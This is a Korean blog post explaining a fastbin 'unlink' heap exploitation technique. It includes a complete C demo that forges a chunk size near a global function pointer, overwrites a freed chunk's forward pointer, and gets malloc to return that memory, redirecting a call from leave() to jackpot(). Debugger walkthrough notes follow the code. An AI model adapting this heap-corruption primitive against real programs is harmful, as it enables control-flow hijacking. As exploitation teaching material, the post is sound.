-
[Heap exploit] fastbin unlinkHack/Pwnable 2016. 10. 19. 05:2512345678910111213141516171819202122232425262728293031323334353637383940414243#include <stdio.h>#include <stdlib.h>void leave() { puts("exiting..."); }void jackpot() { puts("jackpot!"); }void (*p)() = leave;int main(){printf("&p = %p\n", &p);char *p1 = malloc(0x20);char *p2 = malloc(0x40);printf("p1 = %p\n", p1);printf("p2 = %p\n", p2);puts("\n[+] free p2");free(p2);puts("\n[+] modify &p-0x8");char *p_target = &p;*(void **)(p_target-0x8) = 0x51;printf("&p-0x8 = %p\n", *(void **)(p_target-0x8));puts("\n[+] abuse p1 overflow");*(void **)(p1+0x28) = 0x51;*(void **)(p1+0x30) = p_target - 0x10;printf("p2->size = %p\n", *(void **)(p2-0x8));printf("p2->fd = %p\n", *(void **)(p2+0x0));puts("\n[+] unlink p2");char *p3 = malloc(0x40);printf("p3 = %p\n", p3);puts("\n[+] get target memory");char *p4 = malloc(0x40);printf("p4 = %p\n", p4);*(void **)p4 = jackpot;p();return 0;}
cs [inaz2]해당 글은 fastbin에서의 unlink할 경우 발생하는 취약점에대해 다룬 글이다.fastbin은 0x80, 즉 128 바이트 미만의 malloc이 되었을 경우에만 fastbin의 구조를 가진다.코드의 대략 흐름은 아래와같다.1. malloc을 2번해준후, 두번째 malloc한것을 free해준다.2. 함수포인터인 p의 - 8바이트에 p1의 size인 0x51을 넣어준다.3. 할당된 p1+0x28 위치에 0x51값을 넣는다.4. 할당된 p1+0x30 위치에 &p - 0x10 주소를 넣는다.5. malloc을 2번하여 p4는 jackpot이라는 함수 주소로 덮는다.6. 함수포인터로 leave 함수를 호출한다.여기서 중요한것은 size 값인 0x51을 덮는것이다.fastbin은 unlink될때 p->fd->size 값만 비교하기 때문에 오버플로우시 size만 잘 덮어준다면 별다른 예외는 발생하지 않는다.해당 이유로, size chunk를 기존에 있던 0x51로 덮는것이다.[실행결과]size를 제대로 덮고나면 fd까지 overwrite할 수 있어 공격이 가능해진다.IDA 디버깅을 통해 눈으로 확인해보자rax = 0x601050
*(void **)(p_target-0x8) = 0x51;
해당 코드를 통해 &p-8 위치에 0x51을 셋팅했다.
p1+0x28 즉, p2의 size chunk를 0x51 그대로 덮어준다. 기존에 있던 size랑 값이 다르다면 fastbin 검증을 통해 예외처리가 발생 할 것이다.
제대로 덮혔다면 fastbin에서 p->fd->size에서 검증하고 루틴이 계속 실행될 것이다.
그리고 다음 코드를 통해 fd를 ovewrite 해줄 것이다.
*(void **)(p1+0x30) = p_target - 0x10;
fd가 제대로 overwrite되었다.
0x601048로 overwrite 한이유는 다음과같다.
fd는 forward pointer로, 다음 청크를 가리키게된다. 0x601048의 주소를 보자
0x601048은 prev_size, 그다음 0x51은 size로, malloc으로 할당된다면 별탈없이 똑같은 모습을 취할수있다.
위 사진을보면 p3 = 0x602040인것을 알 수 있다. p2가 free되었으니 정상적으로 malloc은 0x602040으로 할당 할 것이다. 하지만 한번더 malloc이 된다면, malloc은 조작한 fd+16으로 할당이 될것이다.
새로 malloc한 p4는 0x601058에 할당된다.
아까 우리가 Overwrite해준 fd의 + 16바이트만큼으로 할당이 되었다.
RDI레지스터를 확인해보면, 0x601058은 leave를 가리키고있는 포인터임을 알 수 있다.
다음 코드는 아래와 같다.
*(void **)p4 = jackpot;
p4를 jackpot함수로 덮어준다. 하지만 p4는 이미 우리가 원하는대로 조작한 leave의 포인터이다.
이것을 원하는 함수로 덮어주고, 함수포인터를 호출해주면 우리가 원하는 함수를 호출 할 수 있게되는것이다.
우리가 원하는 jackpot함수로 제대로 덮혔고, 마지막 p()를 통해 호출함으로써 덮어준 결과가 출력된다.
call leave를 했지만 덮어준대로 jackpot이 호출된다.
'Hack > Pwnable' 카테고리의 다른 글
heap 문제 시나리오들.. (0) 2016.11.08 [Heap exploit] unsorted bin attack (0) 2016.10.26 [Heap exploit] unsafe_unlink (0) 2016.10.18 Heap Exploit - House of Force (0) 2016.10.11 ringzer0 pwnx64 (0) 2016.10.02